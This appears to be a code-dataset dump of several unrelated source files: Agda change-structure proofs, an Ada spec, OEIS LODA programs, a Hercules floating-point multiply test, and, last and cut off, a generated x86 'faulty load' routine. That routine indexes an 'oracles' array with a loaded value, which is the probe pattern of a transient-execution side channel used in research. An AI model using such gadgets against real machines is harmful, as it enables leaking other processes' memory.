⊚[ A ] da2 , db1 ⊚[ B ] db2 pfromto→⊕ : ∀ dp p1 p2 → pch dp from p1 to p2 → p1 p⊕ dp ≡ p2 pfromto→⊕ (da , db) (a1 , b1) (a2 , b2) (daa , dbb) = cong₂ _,_ (fromto→⊕ _ _ _ daa) (fromto→⊕ _ _ _ dbb) p⊝-fromto : ∀ (p1 p2 : A × B) → pch p2 p⊝ p1 from p1 to p2 p⊝-fromto (a1 , b1) (a2 , b2) = ⊝-fromto a1 a2 , ⊝-fromto b1 b2 p⊚-fromto : ∀ p1 p2 p3 dp1 dp2 → pch dp1 from p1 to p2 → (pch dp2 from p2 to p3) → pch dp1 p⊚ dp2 from p1 to p3 p⊚-fromto (a1 , b1) (a2 , b2) (a3 , b3) (da1 , db1) (da2 , db2) (daa1 , dbb1) (daa2 , dbb2) = ⊚-fromto a1 a2 a3 da1 da2 daa1 daa2 , ⊚-fromto b1 b2 b3 db1 db2 dbb1 dbb2 instance pairCS : ChangeStructure (A × B) pairCS = record { Ch = pCh ; ch_from_to_ = pch_from_to_ ; isCompChangeStructure = record { isChangeStructure = record { _⊕_ = _p⊕_ ; fromto→⊕ = pfromto→⊕ ; _⊝_ = _p⊝_ ; ⊝-fromto = p⊝-fromto } ; _⊚_ = _p⊚_ ; ⊚-fromto = p⊚-fromto } } -- Sums private SumChange = (Ch A ⊎ Ch B) ⊎ (A ⊎ B) data SumChange2 : Set where ch₁ : (da : Ch A) → SumChange2 ch₂ : (db : Ch B) → SumChange2 rp : (s : A ⊎ B) → SumChange2 convert : SumChange → SumChange2 convert (inj₁ (inj₁ da)) = ch₁ da convert (inj₁ (inj₂ db)) = ch₂ db convert (inj₂ s) = rp s convert₁ : SumChange2 → SumChange convert₁ (ch₁ da) = inj₁ (inj₁ da) convert₁ (ch₂ db) = inj₁ (inj₂ db) convert₁ (rp s) = inj₂ s inv1 : ∀ ds → convert₁ (convert ds) ≡ ds inv1 (inj₁ (inj₁ da)) = refl inv1 (inj₁ (inj₂ db)) = refl inv1 (inj₂ s) = refl inv2 : ∀ ds → convert (convert₁ ds) ≡ ds inv2 (ch₁ da) = refl inv2 (ch₂ db) = refl inv2 (rp s) = refl private _s⊕2_ : A ⊎ B → SumChange2 → A ⊎ B _s⊕2_ s (rp s₁) = s₁ _s⊕2_ (inj₁ a) (ch₁ da) = inj₁ (a ⊕ da) _s⊕2_ (inj₂ b) (ch₂ db) = inj₂ (b ⊕ db) _s⊕2_ (inj₂ b) (ch₁ da) = inj₂ b -- invalid _s⊕2_ (inj₁ a) (ch₂ db) = inj₁ a -- invalid _s⊕_ : A ⊎ B → SumChange → A ⊎ B s s⊕ ds = s s⊕2 (convert ds) _s⊝2_ : A ⊎ B → A ⊎ B → SumChange2 _s⊝2_ (inj₁ x2) (inj₁ x1) = ch₁ (x2 ⊝ x1) _s⊝2_ (inj₂ y2) (inj₂ y1) = ch₂ (y2 ⊝ y1) _s⊝2_ s2 s1 = rp s2 _s⊝_ : A ⊎ B → A ⊎ B → SumChange s2 s⊝ s1 = convert₁ (s2 s⊝2 s1) data sch_from_to_ : SumChange → A ⊎ B → A ⊎ B → Set where -- sft = Sum From To sft₁ : ∀ {da a1 a2} (daa : ch da from a1 to a2) → sch (convert₁ (ch₁ da)) from (inj₁ a1) to (inj₁ a2) sft₂ : ∀ {db b1 b2} (dbb : ch db from b1 to b2) → sch (convert₁ (ch₂ db)) from (inj₂ b1) to (inj₂ b2) sftrp : ∀ s1 s2 → sch (convert₁ (rp s2)) from s1 to s2 sfromto→⊕2 : (ds : SumChange2) (s1 s2 : A ⊎ B) → sch convert₁ ds from s1 to s2 → s1 s⊕2 ds ≡ s2 sfromto→⊕2 (ch₁ da) (inj₁ a1) (inj₁ a2) (sft₁ daa) = cong inj₁ (fromto→⊕ _ _ _ daa) sfromto→⊕2 (ch₂ db) (inj₂ b1) (inj₂ b2) (sft₂ dbb) = cong inj₂ (fromto→⊕ _ _ _ dbb) sfromto→⊕2 (rp .s2) .s1 .s2 (sftrp s1 s2) = refl sfromto→⊕ : (ds : SumChange) (s1 s2 : A ⊎ B) → sch ds from s1 to s2 → s1 s⊕ ds ≡ s2 sfromto→⊕ ds s1 s2 dss = sfromto→⊕2 (convert ds) s1 s2 (subst (sch_from s1 to s2) (sym (inv1 ds)) dss) s⊝-fromto : (s1 s2 : A ⊎ B) → sch s2 s⊝ s1 from s1 to s2 s⊝-fromto (inj₁ a1) (inj₁ a2) = sft₁ (⊝-fromto a1 a2) s⊝-fromto (inj₂ b1) (inj₂ b2) = sft₂ (⊝-fromto b1 b2) s⊝-fromto s1@(inj₁ a1) s2@(inj₂ b2) = sftrp s1 s2 s⊝-fromto s1@(inj₂ b1) s2@(inj₁ a2) = sftrp s1 s2 _s⊚2_ : SumChange2 → SumChange2 → SumChange2 ds1 s⊚2 rp s3 = rp s3 ch₁ da1 s⊚2 ch₁ da2 = ch₁ (da1 ⊚[ A ] da2) rp (inj₁ a2) s⊚2 ch₁ da2 = rp (inj₁ (a2 ⊕ da2)) ch₂ db1 s⊚2 ch₂ db2 = ch₂ (db1 ⊚[ B ] db2) rp (inj₂ b2) s⊚2 ch₂ db2 = rp (inj₂ (b2 ⊕ db2)) -- Cases for invalid combinations of input changes. -- -- That is, whenever ds2 is a non-replacement change for outputs that ds1 -- can't produce. -- -- We can prove validity preservation *without* filling this in. ds1 s⊚2 ds2 = ds1 _s⊚_ : SumChange → SumChange → SumChange ds1 s⊚ ds2 = convert₁ (convert ds1 s⊚2 convert ds2) s⊚-fromto : (s1 s2 s3 : A ⊎ B) (ds1 ds2 : SumChange) → sch ds1 from s1 to s2 → sch ds2 from s2 to s3 → sch ds1 s⊚ ds2 from s1 to s3 s⊚-fromto (inj₁ a1) (inj₁ a2) (inj₁ a3) (inj₁ (inj₁ da1)) (inj₁ (inj₁ da2)) (sft₁ daa1) (sft₁ daa2) = sft₁ (⊚-fromto a1 a2 a3 _ _ daa1 daa2) s⊚-fromto (inj₂ b1) (inj₂ b2) (inj₂ b3) (inj₁ (inj₂ db1)) (inj₁ (inj₂ db2)) (sft₂ dbb1) (sft₂ dbb2) = sft₂ (⊚-fromto b1 b2 b3 _ _ dbb1 dbb2) s⊚-fromto s1 (inj₁ a2) (inj₁ a3) .(inj₂ (inj₁ _)) .(inj₁ (inj₁ _)) (sftrp .s1 .(inj₁ _)) (sft₁ daa) rewrite fromto→⊕ _ a2 a3 daa = sftrp _ _ s⊚-fromto s1 (inj₂ b2) (inj₂ b3) .(inj₂ (inj₂ _)) .(inj₁ (inj₂ _)) (sftrp .s1 .(inj₂ _)) (sft₂ dbb) rewrite fromto→⊕ _ b2 b3 dbb = sftrp _ _ s⊚-fromto s1 s2 s3 _ _ _ (sftrp .s2 .s3) = sftrp s1 s3 -- s⊚-fromto .(inj₂ b1) .(inj₁ a2) (inj₁ a3) .(inj₂ (inj₁ a2)) (inj₁ (inj₁ da2)) (sftrp (inj₂ b1) (inj₁ a2)) (sft₁ daa2) with sfromto→⊕ (inj₁ (inj₁ da2)) _ _ (sft₁ daa2) -- s⊚-fromto .(inj₂ b1) .(inj₁ a2) (inj₁ .(a2 ⊕ da2)) .(inj₂ (inj₁ a2)) (inj₁ (inj₁ da2)) (sftrp (inj₂ b1) (inj₁ a2)) (sft₁ daa2) | refl = sftrp (inj₂ b1) (inj₁ (a2 ⊕ da2)) -- s⊚-fromto .(inj₁ a1) .(inj₂ b2) (inj₂ b3) .(inj₂ (inj₂ b2)) (inj₁ (inj₂ db2)) (sftrp (inj₁ a1) (inj₂ b2)) (sft₂ dbb2) with sfromto→⊕ (inj₁ (inj₂ db2)) _ _ (sft₂ dbb2) -- s⊚-fromto .(inj₁ a1) .(inj₂ b2) (inj₂ .(b2 ⊕ db2)) .(inj₂ (inj₂ b2)) (inj₁ (inj₂ db2)) (sftrp (inj₁ a1) (inj₂ b2)) (sft₂ dbb2) | refl = sftrp (inj₁ a1) (inj₂ (b2 ⊕ db2)) instance sumCS : ChangeStructure (A ⊎ B) sumCS = record { Ch = SumChange ; ch_from_to_ = sch_from_to_ ; isCompChangeStructure = record { isChangeStructure = record { _⊕_ = _s⊕_ ; fromto→⊕ = sfromto→⊕ ; _⊝_ = _s⊝_ ; ⊝-fromto = s⊝-fromto } ; _⊚_ = _s⊚_ ; ⊚-fromto = s⊚-fromto } } instance unitCS : ChangeStructure ⊤ unitCS = record { Ch = ⊤ ; ch_from_to_ = λ dv v1 v2 → ⊤ ; isCompChangeStructure = record { isChangeStructure = record { _⊕_ = λ _ _ → tt ; fromto→⊕ = λ { _ _ tt _ → refl } ; _⊝_ = λ _ _ → tt ; ⊝-fromto = λ a b → tt } ; _⊚_ = λ da1 da2 → tt ; ⊚-fromto = λ a1 a2 a3 da1 da2 daa1 daa2 → tt } }
source/oasis/program-elements-function_instantiations.ads
reznikmm/gela
0
7619
<filename>source/oasis/program-elements-function_instantiations.ads -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Program.Elements.Declarations; with Program.Lexical_Elements; with Program.Elements.Defining_Names; with Program.Elements.Expressions; with Program.Elements.Parameter_Associations; with Program.Elements.Aspect_Specifications; package Program.Elements.Function_Instantiations is pragma Pure (Program.Elements.Function_Instantiations); type Function_Instantiation is limited interface and Program.Elements.Declarations.Declaration; type Function_Instantiation_Access is access all Function_Instantiation'Class with Storage_Size => 0; not overriding function Name (Self : Function_Instantiation) return not null Program.Elements.Defining_Names.Defining_Name_Access is abstract; not overriding function Generic_Function_Name (Self : Function_Instantiation) return not null Program.Elements.Expressions.Expression_Access is abstract; not overriding function Parameters (Self : Function_Instantiation) return Program.Elements.Parameter_Associations .Parameter_Association_Vector_Access is abstract; not overriding function Aspects (Self : Function_Instantiation) return Program.Elements.Aspect_Specifications .Aspect_Specification_Vector_Access is abstract; not overriding function Has_Not (Self : Function_Instantiation) return Boolean is abstract; not overriding function Has_Overriding (Self : Function_Instantiation) return Boolean is abstract; type Function_Instantiation_Text is limited interface; type Function_Instantiation_Text_Access is access all Function_Instantiation_Text'Class with Storage_Size => 0; not overriding function To_Function_Instantiation_Text (Self : in out Function_Instantiation) return Function_Instantiation_Text_Access is abstract; not overriding function Not_Token (Self : Function_Instantiation_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Overriding_Token (Self : Function_Instantiation_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Function_Token (Self : Function_Instantiation_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Is_Token (Self : Function_Instantiation_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function New_Token (Self : Function_Instantiation_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Left_Bracket_Token (Self : Function_Instantiation_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Right_Bracket_Token (Self : Function_Instantiation_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function With_Token (Self : Function_Instantiation_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Semicolon_Token (Self : Function_Instantiation_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; end Program.Elements.Function_Instantiations;
programs/oeis/130/A130819.asm
karttu/loda
0
92300
; A130819: 2n appears 2n-1 times. ; 2,4,4,4,6,6,6,6,6,8,8,8,8,8,8,8,10,10,10,10,10,10,10,10,10,12,12,12,12,12,12,12,12,12,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,18,18,18,18,18,18,18,18,18,18,18 add $0,1 lpb $0,1 add $1,2 sub $0,$1 lpe add $1,2
tests/bfp-020-multlonger.asm
mtalexander/hyperion
187
16999
TITLE 'bfp-020-multlonger.asm: Test IEEE Multiply' *********************************************************************** * *Testcase IEEE MULTIPLY (to longer precision) * Test case capability includes IEEE exceptions trappable and * otherwise. Test results, FPCR flags, the Condition code, and any * DXC are saved for all tests. * * The result precision for each instruction is longer than the input * operands. As a result, the underflow and overflow exceptions will * never occur. Further, the results are always exact. There is * no rounding of the result. * * The fused multiply operations are not included in this test program, * nor are the standard multiply instructions. The former are * are excluded to keep test case complexity manageable, and latter * because they require a more extensive testing profile (overflow, * underflow, rounding). * *********************************************************************** SPACE 2 *********************************************************************** * * bfp-020-multlonger.asm * * This assembly-language source file is part of the * Hercules Binary Floating Point Validation Package * by <NAME> * * Copyright 2016 by <NAME>. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. The name of the author may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * DISCLAMER: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * *********************************************************************** SPACE 2 *********************************************************************** * * Tests the following five conversion instructions * MULTIPLY (short BFP, RRE) (short to long) * MULTIPLY (long BFP, RRE) (long to extended) * MULTIPLY (short BFP, RXE) (short to long) * MULTIPLY (long BFP, RXE) (long to extended) * * Test data is compiled into this program. The test script that runs * this program can provide alternative test data through Hercules R * commands. * * Test Case Order * 1) Short BFP basic tests, including traps and NaN propagation * 2) Long BFP basic tests, including traps and NaN propagation * * One input test sets are provided each for short and long BFP inputs. * Test values are the same for each precision. * * Also tests the following floating point support instructions * LOAD (Short) * LOAD (Long) * LFPC (Load Floating Point Control Register) * STORE (Short) * STORE (Long) * STFPC (Store Floating Point Control Register) * *********************************************************************** SPACE 2 MACRO PADCSECT &ENDLABL .* .* Macro to pad the CSECT to include result data areas if this test .* program is not being assembled using asma. asma generates a core .* image that is loaded by the loadcore command, and because the .* core image is a binary stored in Github, it makes sense to make .* this small effort to keep the core image small. .* AIF (D'&ENDLABL).GOODPAD MNOTE 4,'Missing or invalid CSECT padding label ''&ENDLABL''' MNOTE *,'No CSECT padding performed' MEXIT .* .GOODPAD ANOP Label valid. See if we're on asma AIF ('&SYSASM' EQ 'A SMALL MAINFRAME ASSEMBLER').NOPAD ORG &ENDLABL-1 Not ASMA. Pad CSECT MEXIT .* .NOPAD ANOP MNOTE *,'asma detected; no CSECT padding performed' MEND * * Note: for compatibility with the z/CMS test rig, do not change * or use R11, R14, or R15. Everything else is fair game. * BFPMUL2L START 0 STRTLABL EQU * R0 EQU 0 Work register for cc extraction R1 EQU 1 R2 EQU 2 Holds count of test input values R3 EQU 3 Points to next test input value(s) R4 EQU 4 Rounding tests inner loop control R5 EQU 5 Rounding tests outer loop control R6 EQU 6 Rounding tests top of inner loop R7 EQU 7 Pointer to next result value(s) R8 EQU 8 Pointer to next FPCR result R9 EQU 9 Rounding tests top of outer loop R10 EQU 10 Pointer to test address list R11 EQU 11 **Reserved for z/CMS test rig R12 EQU 12 Holds number of test cases in set R13 EQU 13 Mainline return address R14 EQU 14 **Return address for z/CMS test rig R15 EQU 15 **Base register on z/CMS or Hyperion * * Floating Point Register equates to keep the cross reference clean * FPR0 EQU 0 FPR1 EQU 1 FPR2 EQU 2 FPR3 EQU 3 FPR4 EQU 4 FPR5 EQU 5 FPR6 EQU 6 FPR7 EQU 7 FPR8 EQU 8 FPR9 EQU 9 FPR10 EQU 10 FPR11 EQU 11 FPR12 EQU 12 FPR13 EQU 13 FPR14 EQU 14 FPR15 EQU 15 * USING *,R15 * * Above works on real iron (R15=0 after sysclear) * and in z/CMS (R15 points to start of load module) * SPACE 2 *********************************************************************** * * Low core definitions, Restart PSW, and Program Check Routine. * *********************************************************************** SPACE 2 ORG STRTLABL+X'8E' Program check interrution code PCINTCD DS H * PCOLDPSW EQU STRTLABL+X'150' z/Arch Program check old PSW * ORG STRTLABL+X'1A0' z/Arch Restart PSW DC X'0000000180000000',AD(START) * ORG STRTLABL+X'1D0' z/Arch Program check old PSW DC X'0000000000000000',AD(PROGCHK) * * Program check routine. If Data Exception, continue execution at * the instruction following the program check. Otherwise, hard wait. * No need to collect data. All interesting DXC stuff is captured * in the FPCR. * ORG STRTLABL+X'200' PROGCHK DS 0H Program check occured... CLI PCINTCD+1,X'07' Data Exception? JNE PCNOTDTA ..no, hardwait (not sure if R15 is ok) LPSWE PCOLDPSW ..yes, resume program execution PCNOTDTA DS 0H LTR R14,R14 Return address provided? BNZR R14 Yes, return to z/CMS test rig. LPSWE HARDWAIT Not data exception, enter disabled wait EJECT *********************************************************************** * * Main program. Enable Advanced Floating Point, process test cases. * *********************************************************************** SPACE 2 START DS 0H STCTL R0,R0,CTLR0 Store CR0 to enable AFP OI CTLR0+1,X'04' Turn on AFP bit LCTL R0,R0,CTLR0 Reload updated CR0 * LA R10,SHORTNF Point to short BFP non-finite inputs BAS R13,SBFPNF Multiply short BFP non-finites * LA R10,LONGNF Point to long BFP non-finite inputs BAS R13,LBFPNF Multiply long BFP non-finites * LTR R14,R14 Return address provided? BNZR R14 ..Yes, return to z/CMS test rig. LPSWE WAITPSW All done * DS 0D Ensure correct alignment for psw WAITPSW DC X'0002000000000000',AD(0) Normal end - disabled wait HARDWAIT DC X'0002000000000000',XL6'00',X'DEAD' Abnormal end * CTLR0 DS F FPCREGNT DC X'00000000' FPCR, trap all IEEE exceptions, zero flags FPCREGTR DC X'F8000000' FPCR, trap no IEEE exceptions, zero flags * * Input values parameter list, four fullwords for each test data set * 1) Count, * 2) Address of inputs, * 3) Address to place results, and * 4) Address to place DXC/Flags/cc values. * ORG STRTLABL+X'300' Enable run-time replacement SHORTNF DS 0F Input pairs for short BFP non-finite tests DC A(SBFPNFCT) DC A(SBFPNFIN) DC A(LBFPNFOT) DC A(LBFPNFFL) * LONGNF DS 0F Input pairs for long BFP non-finite testing DC A(LBFPNFCT) DC A(LBFPNFIN) DC A(XBFPNFOT) DC A(XBFPNFFL) * EJECT *********************************************************************** * * Perform Multiply using provided short BFP inputs. This set of tests * checks NaN propagation, operations on values that are not finite * numbers, and other basic tests. This set generates results that can * be validated against Figure 19-23 on page 19-28 of SA22-7832-10. * Each value in this table is tested against every other value in the * table. Eight entries means 64 result sets. * * Four results are generated for each input: one RRE with all * exceptions non-trappable, a second RRE with all exceptions trappable, * a third RXE with all exceptions non-trappable, a fourth RXE with all * exceptions trappable, * * The difference, FPCR, and condition code are stored for each result. * *********************************************************************** SPACE 2 SBFPNF DS 0H BFP Short non-finite values tests LM R2,R3,0(R10) Get count and addr of multiplicand values LM R7,R8,8(R10) Get address of result area and flag area. LTR R2,R2 Any test cases? BZR R13 ..No, return to caller BASR R12,0 Set top of loop * LM R4,R5,0(R10) Get count and start of multiplier values * ..which are the same as the multiplicands BASR R6,0 Set top of inner loop * LE FPR8,0(,R3) Get short BFP multiplicand LE FPR1,0(,R5) Get short BFP multiplier LFPC FPCREGNT Set exceptions non-trappable MDEBR FPR8,FPR1 Multiply short FPR8 by FPR1 RRE STD FPR8,0(,R7) Store long BFP product STFPC 0(R8) Store resulting FPCR flags and DXC * LE FPR8,0(,R3) Get short BFP multiplicand LE FPR1,0(,R5) Get short BFP multiplier LFPC FPCREGTR Set exceptions trappable MDEBR FPR8,FPR1 Multiply short FPR8 by FPR1 RRE STD FPR8,8(,R7) Store long BFP product STFPC 4(R8) Store resulting FPCR flags and DXC * LE FPR8,0(,R3) Get short BFP multiplicand LFPC FPCREGNT Set exceptions non-trappable MDEB FPR8,0(,R5) Multiply short FPR8 by multiplier RXE STD FPR8,16(,R7) Store long BFP product STFPC 8(R8) Store resulting FPCR flags and DXC * LE FPR8,0(,R3) Get short BFP multiplicand LFPC FPCREGTR Set exceptions trappable MDEB FPR8,0(,R5) Multiply short FPR8 by multiplier RXE STD FPR8,24(,R7) Store long BFP product STFPC 12(R8) Store resulting FPCR flags and DXC * LA R5,4(,R5) Point to next multiplier value LA R7,4*8(,R7) Point to next Multiply result area LA R8,4*4(,R8) Point to next Multiply FPCR area BCTR R4,R6 Loop through right-hand values * LA R3,4(,R3) Point to next input multiplicand BCTR R2,R12 Loop through left-hand values BR R13 All converted; return. EJECT *********************************************************************** * * Perform Multiply using provided long BFP inputs. This set of tests * checks NaN propagation, operations on values that are not finite * numbers, and other basic tests. This set generates results that can * validated against Figure 19-23 on page 19-28 of SA22-7832-10. Each * value in this table is tested against every other value in the table. * Eight entries means 64 result sets. * * Four results are generated for each input: one RRE with all * exceptions non-trappable, a second RRE with all exceptions trappable, * a third RXE with all exceptions non-trappable, a fourth RXE with all * exceptions trappable, * * The difference, FPCR, and condition code are stored for each result. * *********************************************************************** SPACE 2 LBFPNF DS 0H BFP long non-finite values tests LM R2,R3,0(R10) Get count and addr of multiplicand values LM R7,R8,8(R10) Get address of result area and flag area. LTR R2,R2 Any test cases? BZR R13 ..No, return to caller BASR R12,0 Set top of loop * LM R4,R5,0(R10) Get count and start of multiplier values * ..which are the same as the multiplicands BASR R6,0 Set top of inner loop * LD FPR8,0(,R3) Get long BFP multiplicand LD FPR1,0(,R5) Get long BFP multiplier LFPC FPCREGNT Set exceptions non-trappable MXDBR FPR8,FPR1 Multiply long FPR8 by FPR1 RRE STD FPR8,0(,R7) Store extended BFP product part 1 STD FPR10,8(,R7) Store extended BFP product part 2 STFPC 0(R8) Store resulting FPCR flags and DXC * LD FPR8,0(,R3) Get long BFP multiplicand LD FPR1,0(,R5) Get long BFP multiplier LFPC FPCREGTR Set exceptions trappable MXDBR FPR8,FPR1 Multiply long multiplier from FPR8 RRE STD FPR8,16(,R7) Store extended BFP product part 1 STD FPR10,24(,R7) Store extended BFP product part 2 STFPC 4(R8) Store resulting FPCR flags and DXC * LD FPR8,0(,R3) Get long BFP multiplicand LFPC FPCREGNT Set exceptions non-trappable MXDB FPR8,0(,R5) Multiply long FPR8 by multiplier RXE STD FPR8,32(,R7) Store extended BFP product part 1 STD FPR10,40(,R7) Store extended BFP product part 2 STFPC 8(R8) Store resulting FPCR flags and DXC * LD FPR8,0(,R3) Get long BFP multiplicand LFPC FPCREGTR Set exceptions trappable MXDB FPR8,0(,R5) Multiply long FPR8 by multiplier RXE STD FPR8,48(,R7) Store extended BFP product part 1 STD FPR10,56(,R7) Store extended BFP product part 2 STFPC 12(R8) Store resulting FPCR flags and DXC * LA R5,8(,R5) Point to next multiplier value LA R7,4*16(,R7) Point to next Multiply result area LA R8,4*4(,R8) Point to next Multiply FPCR area BCTR R4,R6 Loop through right-hand values * LA R3,8(,R3) Point to next multiplicand value BCTR R2,R12 Multiply until all cases tested BR R13 All converted; return. EJECT *********************************************************************** * * Short BFP test data for Multiply to longer precision testing. * * The test data set is used for tests of basic functionality, NaN * propagation, and results from operations involving other than finite * numbers. * * Member values chosen to validate against Figure 19-23 on page 19-28 * of SA22-7832-10. Each value in this table is tested against every * other value in the table. Eight entries means 64 result sets. * * Because Multiply to longer precision cannot generate overflow nor * underflow exceptions and the result is always exact, there are no * further tests required. Any more extensive testing would be in * effect a test of Softfloat, not of the the integration of Softfloat * to Hercules. * *********************************************************************** SPACE 2 SBFPNFIN DS 0F Inputs for short BFP non-finite tests DC X'FF800000' -inf DC X'C0000000' -2.0 DC X'80000000' -0 DC X'00000000' +0 DC X'40000000' +2.0 DC X'7F800000' +inf DC X'FFCB0000' -QNaN DC X'7F8A0000' +SNaN SBFPNFCT EQU (*-SBFPNFIN)/4 Count of short BFP in list EJECT *********************************************************************** * * Long BFP test data for Multiply to longer precision testing. * * The test data set is used for tests of basic functionality, NaN * propagation, and results from operations involving other than finite * numbers. * * Member values chosen to validate against Figure 19-23 on page 19-28 * of SA22-7832-10. Each value in this table is tested against every * other value in the table. Eight entries means 64 result sets. * * Because Multiply to longer precision cannot generate overflow nor * underflow exceptions and the result is always exact, there are no * further tests required. Any more extensive testing would be in * effect a test of Softfloat, not of the the integration of Softfloat * to Hercules. * *********************************************************************** SPACE 2 LBFPNFIN DS 0F Inputs for long BFP testing DC X'FFF0000000000000' -inf DC X'C000000000000000' -2.0 DC X'8000000000000000' -0 DC X'0000000000000000' +0 DC X'4000000000000000' +2.0 DC X'7FF0000000000000' +inf DC X'FFF8B00000000000' -QNaN DC X'7FF0A00000000000' +SNaN LBFPNFCT EQU (*-LBFPNFIN)/8 Count of long BFP in list EJECT * * Locations for results * LBFPNFOT EQU STRTLABL+X'1000' Short non-finite BFP results * ..room for 64 tests, 64 used LBFPNFFL EQU STRTLABL+X'1800' FPCR flags and DXC from short BFP * ..room for 64 tests, 64 used * ..next location starts at X'1C00' * * XBFPNFOT EQU STRTLABL+X'2000' Long non-finite BFP results * ..room for 64 tests, 64 used XBFPNFFL EQU STRTLABL+X'3000' FPCR flags and DXC from long BFP * ..room for 64 tests, 64 used * ..next location starts at X'3400' * ENDLABL EQU STRTLABL+X'3400' PADCSECT ENDLABL END
programs/oeis/168/A168553.asm
neoneye/loda
22
4903
; A168553: a(n) = 1 if it is possible to place n sets of n queens on an n X n chessboard with no two queens of the same set attacking each other. ; 1,0,0,0,1,0,1,0,0,0,1,1 lpb $0 add $0,1 dif $0,3 lpe add $0,1 mod $0,2
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_1020.asm
ljhsiun2/medusa
9
23389
<filename>Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_1020.asm .global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx lea addresses_D_ht+0x334c, %r15 nop nop nop nop and $10530, %r8 vmovups (%r15), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rdi nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x145d7, %rbx nop nop nop nop nop add $18612, %rdx mov (%rbx), %r14 nop nop nop nop nop cmp $18208, %r15 lea addresses_D_ht+0x13884, %rdx nop nop nop nop nop cmp %r8, %r8 mov $0x6162636465666768, %r14 movq %r14, %xmm2 and $0xffffffffffffffc0, %rdx movntdq %xmm2, (%rdx) nop nop dec %r15 lea addresses_WT_ht+0xadcc, %rdx clflush (%rdx) nop nop nop nop nop cmp $62779, %r14 movb $0x61, (%rdx) dec %rdi lea addresses_A_ht+0x14b4c, %r14 clflush (%r14) nop nop xor $58136, %rdi and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rcx xor %rdx, %rdx lea addresses_D_ht+0xad4c, %rcx nop nop cmp $29516, %r15 mov (%rcx), %rdx nop dec %r14 pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r8 push %r9 push %rdi push %rsi // Store lea addresses_US+0x1f74c, %r15 nop nop nop and %r12, %r12 mov $0x5152535455565758, %rsi movq %rsi, %xmm2 movntdq %xmm2, (%r15) nop nop add %r14, %r14 // Store mov $0x103c220000000f4c, %r9 nop add %r8, %r8 mov $0x5152535455565758, %r12 movq %r12, %xmm2 movups %xmm2, (%r9) nop and %rdi, %rdi // Store lea addresses_UC+0x1024c, %rsi nop nop nop nop and $26487, %rdi movw $0x5152, (%rsi) nop nop nop nop nop xor %r9, %r9 // Faulty Load lea addresses_US+0x1334c, %rdi nop inc %rsi mov (%rdi), %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rsi pop %rdi pop %r9 pop %r8 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}} {'OP': 